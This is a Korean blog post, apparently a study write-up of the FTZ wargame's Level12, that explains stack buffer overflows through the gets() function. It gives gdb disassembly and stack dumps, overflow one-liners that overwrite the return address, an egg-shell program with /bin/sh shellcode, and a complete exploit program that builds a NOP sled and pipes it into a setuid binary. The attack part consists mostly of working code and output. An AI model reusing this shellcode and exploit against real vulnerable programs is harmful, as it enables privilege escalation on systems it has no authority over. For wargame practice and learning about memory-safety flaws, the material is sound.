본문 바로가기

Learning/└◆Reversing

12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow)


  ■ Level2 -> Level13

 

 

■ 목적

버퍼 오버플로우에 대해서

BOF(Buffer Overflow)

Stack Buffer Overflow(Stack BOF)

Heap Buffer Overflow(Heap BOF)

 

gets함수는 매우 위험한 함수이다.

 

$ vi cmd.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(void)

{

      char str[256];

      char *ptr;

      int a;

 

      printf("Enter string : ");

      gets(str);                                           

      printf("%s\n", str);

}

 

 

$ gcc -o cmd cmd.c

/tmp/ccAhNMFS.o(.text+0x2e): In function `main':

: the `gets' function is dangerous and should not be us

 

-> warning 메세지는 무시한다. 위험한 함수인 gets() 함수를 사용했기 때문에 경고 메세지 가 출력되는 것이다.

 

$ ./cmd

Enter string : AAAA

AAAA

 

 

$ (perl -e 'print "\x41"x256') | ./cmd

Enter string:

 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

$ (perl -e 'print "\x41"x272') | ./cmd

Enter string:

 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

세그멘테이션 오류

 

위 소스 char str[256]; 을 확인해보면 언제 세그멘테이션 오류가 뜨는지 확인 가능하다.

세그멘테이션 오류가 발생하는 프로그램은 99% 크랙될 수 있다.

272를 입력한 이유는 256바이트가 아닌 8바이트의 더미공간이 있기 때문에 256+8+4+4로 274

바이트가 되어야 RET를 Overwirte할 수 있기 때문이다 ^.^

 

메모리 구성을 추측하면 프로그램마다 자기만의 스택공간을 할당 받는다.

메모리에 높은 주소부터 할당받아 내려오면서 공간을 확보 한다.

SFP(Stack Frame Pointer) 뒤쪽은 프로그램마다 결정되어 있다.(고정값 : RET, argc, argv, *ENV)

앞에는 str[256], *ptr, a 순서대로 들어있다.

256공간에 더미가 있는지 모르지만 있다고 예상하고 가정을 해야한다.

RET값만 변조하면 되기에 256이상의 숫자를 입력하여 RET값을 덮어쓰도록 한다.

[ a | *ptr | str[256] | SFP | argc | argv | ENV ]

 

■ Level12 풀이

 

level12 사용자 로그인

-> ID/PASS : level12/it is like this

   

$ cat hint

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main( void )

{

   char str[256];

 

   setreuid( 3093, 3093 );

   printf( "문장을 입력하세요.\n" );

   gets( str );

   printf( "%s\n", str );

}

더미공간이 존재하는지는 알 수 없다.

 

$ ./attackme

문장을 입력하세요.
AAAAAAAAAA
AAAAAAAAAA

 

$ ./attackme

문장을 입력하세요 .
%x%x%x%x
%x%x%x%x 

 

->포맷 스트링 버그가 있는지 확인하는 과정.

(%x가 그대로 출력된 것을 보아 스트링처리가 된걸로 보인다. printf구문에 %s를 사용했기 때문이다.

버그가 있다면 스택에 있는 내용이 출력된다. %x개수를 증가해보면 원하는 값이 나올 수 있다.(%s를 사용하지

않았을 경우))

 

FSB공격에 필요한 데이터

%x로 확인된 값이 저장되는 위치

RET주소

쉘코드의 주소

 

$ cp attackme tmp

$ cd tmp ;  gdm -q attackme

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:  push %ebp

0x08048471 <main+1>:  mov  %esp,%ebp                          8bytes 더미공간이 있다.

0x08048473 <main+3>:  sub  $0x108,%esp  /* 0x108 = (10진수) 264 bytes */ (지역변수할당)

0x08048479 <main+9>:  sub  $0x8,%esp               지역변수가 1개 이기 때문에

0x0804847c <main+12>: push $0xc15

0x08048481 <main+17>: push $0xc15

0x08048486 <main+22>: call 0x804835c <setreuid>

0x0804848b <main+27>: add  $0x10,%esp

0x0804848e <main+30>: sub  $0xc,%esp

0x08048491 <main+33>: push $0x8048538

0x08048496 <main+38>: call 0x804834c <printf>

0x0804849b <main+43>: add  $0x10,%esp

0x0804849e <main+46>: sub  $0xc,%esp

0x080484a1 <main+49>: lea  0xfffffef8(%ebp),%eax

0x080484a7 <main+55>: push %eax

0x080484a8 <main+56>: call 0x804831c <gets>

0x080484ad <main+61>: add  $0x10,%esp

0x080484b0 <main+64>: sub  $0x8,%esp

0x080484b3 <main+67>: lea  0xfffffef8(%ebp),%eax

0x080484b9 <main+73>: push %eax

0x080484ba <main+74>: push $0x804854c

0x080484bf <main+79>: call 0x804834c <printf>

0x080484c4 <main+84>: add  $0x10,%esp

0x080484c7 <main+87>: leave

0x080484c8 <main+88>: ret

0x080484c9 <main+89>: lea  0x0(%esi),%esi

0x080484cc <main+92>: nop

0x080484cd <main+93>: nop

0x080484ce <main+94>: nop

0x080484cf <main+95>: nop

End of assembler dump.

(gdb) b *0x080484bf           입력값이 들어간 후에 스택의 내용을 확인하기 위해

Breakpoint 1 at 0x80484bf

(gdb) run

Starting program: /home/level12/tmp/bof

문장을 입력하세요.

AAAAAAAA                          /* 스택이니 4의배수의 개수를 입력하자

 

Breakpoint 1, 0x080483e9 in main ()

(gdb) x/72x $esp       <-256 / 4 (칸) / 4(byte) = 16 => 64 + 8(dummy)

0xbfffe0d0: 0x0804854c 0xbfffe0e0 0xbfffe100 0x00000001

0xbfffe0e0: 0x41414141 0x41414141 0x00000000 0x078e530f /* A(=41)을 8개 확인할 수 있다.

0xbfffe0f0: 0xbfffe190 0x40015a38 0x0029656e 0x00000000

0xbfffe100: 0x4200b894 0x400160b0 0x00000000 0x00000000 7번째 스트링되면 자동으로 0처리 된다.

0xbfffe110: 0x00000000 0x00000000 0x00000000 0x4000807f

0xbfffe120: 0x4001582c 0x00001f1f 0xbfffe150 0xbfffe17c

0xbfffe130: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e 4bytes X 16 X 4

0xbfffe140: 0x4000807f 0x4001582c 0x00000059 0x40015a38 = 64 X 4 = 256

0xbfffe150: 0xbfffe1a0 0x4000be03 0x40015bd4 0x40016380

0xbfffe160: 0x00000001 0x00000000 0x4200dba3 0x420069e4

0xbfffe170: 0x42130a14 0xbffffc26 0xbfffe234 0xbfffe1b4

0xbfffe180: 0x4000bcc0 0x08049648 0x00000001 0x08048249

0xbfffe190: 0x4210fd3c 0x42130a14 0xbfffe1b8 0x4210fdf6

0xbfffe1a0: 0x08049560 0x08049664 0x00000000 0x00000000

0xbfffe1b0: 0x4210fdc0 0x42130a14 0xbfffe1d8 0x08048451

0xbfffe1c0: 0x08049560 0x08049664 0x4001582c 0x0804839e

0xbfffe1d0: 0x080482e4 0x42130a14 0xbfffe1e8 0x080482fa */

0xbfffe1e0: 0x4200af84 0x42130a14 0xbfffe208 0x42015574

(gdb) x/x 0xbfffe208                            ;; SFP(0xbfffe1e8 : 0xbfffe208)

0xbfffee88: 0x00000000

(gdb) x/x 0x42015574                            ;; RET(0xbfffe1ec : 0x42015574)

0x42015574 <__libc_start_main+228>: 0x58ebc189

(gdb) quit

The program is running. Exit anyway? (y or n) y

 

[메모리 구조]

<--- 스택 증가 방향

-------------------------------------------------

256bytes        8bytes    4bytes  4bytes

char str[256]   dummy     SFP     RET


-------------------------------------------------

<--- 낮은 주소                     높은 주소 --->

 

264 bytes - 256 bytes = 8 bytes

-> 따라서 dummy 8bytes 설정된다.

(256 + 8 + 4)bytes 만큼은 아무것이나 입력하고 다음에 오는 4bytes 부분에 원하는 주소를 입력하면 된다.

 

hint 소스에서 256바이트를 할당했고 gdb에 264바이트 공간을 확보 했으니까

SFP를 넘지않는 쓰레기값은 8바이트가 되는 것이다. 265부터 세그멘테이션 오류가 날 것이다.

 

[메모리 구조]

<--- 스택 증가 방향

-------------------------------------------------

256bytes          8bytes    4bytes    4bytes

char str[256]     dummy     SFP       RET

AAAA.....AAAA     AAAAAAAA  41414141  (원하는주소)   <- 쉘코드를 실행할 첫 번째 주소

NOP ... 쉘코드                <-- 이 방법은 RET에 NOP의 주소를 집어넣으면 리턴될때 쉘코드가 실행된다.

-------------------------------------------------

<--- 낮은 주소                     높은 주소 --->

 

과거에는 str[256] 같은 공간을 크게 확보하는 경우가 많았는데

이곳에 쉘코드를 삽입하고 RET주소를 str[256]으로 정해서 실행하도록 하는 방법이 있다.

 

$ perl -e 'print "\x41"x264' | /home/level12/attackme

 

혹여나 SFP나 혹은 RET 값을 덮어 쓰게 되면 세그먼트 오류가 발생한다.(x265이상)
LEVEL 11 에서 사용한 에그쉘을 이용해 주소값을 알아내고 환경변수를 만들어

268byte 다음 4byte에 쉘코드 주소를 넣어
attackme에 전달하는 방식으로 cat을 사용하고 파이프로 표준 입력을 받아 실행시킨다.

 

위와 같은 명령어를 사용한다.


Using address: 0xbffffab8

sh-2.05b$ (python -c 'print "A"*268+ "\xb8\xfa\xff\xbf"';cat)| /home/level12/attackme
문장을 입력하세요.
AAAAA.....
my-pass
TERM environment variable not set.

Level 13 Password is "have no clue".

 

세미콜론으로 명령어를 구분하고 동시실행을 위하여 ()괄호로 묶어 줍니다.

동시명령을 만들고 파이프로 attackme와 연결해서 실행하면 된다.

 


 

에그쉘코드

리눅스 쉘코드가 포함된 소스이다.

환경변수를 이용하여 그곳에 쉘코드를 올려놓고 그 주소를 출력해주는 프로그램 소스

setreuid의 코드는 포함되어 있지 않다.

#include <stdio.h>

#include <stdlib.h>


#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90


char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {

                __asm__("movl %esp, %eax");

}


int main(int argc, char *argv[])

{


        char *buff, *ptr, *egg;

        long *addr_ptr, addr;

        int offset=DEFAULT_OFFSET;

        int bsize=DEFAULT_BUFFER_SIZE;


        int i, eggsize=DEFAULT_EGG_SIZE;


        if (argc > 1) bsize = atoi(argv[1]);

        if (argc > 2) offset = atoi(argv[2]);

        if (argc > 3) eggsize = atoi(argv[3]);


        if (!(buff = malloc(bsize)))

        {

                        printf("Can't allocate memory.\n");

                                exit(0);

        }

        if (!(egg = malloc(eggsize)))

        {

                        printf("Can't allocate memory.\n");

                                exit(0);

        }

        addr = get_esp() - offset;

        printf("Using address: 0x%x\n", addr);


        ptr = buff;

        addr_ptr = (long *)ptr;

        for(i=0; i<eggsize - strlen(shellcode) -1; i++)

                        *(ptr++) = NOP;

        for(i=0; i<strlen(shellcode); i++)

                        *(ptr++) = shellcode[i];


        buff[bsize - 1] = '\0';

        egg[eggsize -1] = '\0';

        memcpy(egg, "EGG=", 4);

        putenv(egg);

        putenv(buff);

        system("/bin/sh");

}



$ gcc -o /tmp/egg tmp/egg.c
$ /home/level12/tmp/egg 459

Using address: 0xbffffab8


sh-2.05b$ (python -c 'print "A"*268+ "\xb8\xfa\xff\xbf"';cat)| /home/level12/attackme
문장을 입력하세요.
AAAAA.....
my-pass
TERM environment variable not set.

Level 13 Password is "have no clue".

 

 

■ Exploit code(공격용 코드)

$ cat Attack_bof.c

#include <stdio.h>

#include <stdlib.h>

 

#define NOP 0x90

#define BUFSIZE 272          // NOP(219) + shellcode(45) + sfp(4) + ret(4)

 

// 배시쉘을 실행하는 쉘코드 + char str[256] 배열의 시작 주소

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"

"\xe0\xe0\xff\xbf";

 

int main()

{

char shellBuf[BUFSIZE], cmdBuf[320];

int i, j, shellLen;

 

shellLen=strlen(shellcode);

for(i=0; i<sizeof(shellBuf)-shellLen; i++)

shellBuf[i] = NOP;

for(j=0; j<shellLen; j++)

shellBuf[i++] = shellcode[j];

 

sprintf(cmdBuf, "(perl -e \'print \"");

strcat(cmdBuf, shellBuf);

strcat(cmdBuf, "\"\'; cat) | /home/level12/attackme");

strcat(cmdBuf, "\x0a");

system(cmdBuf);

}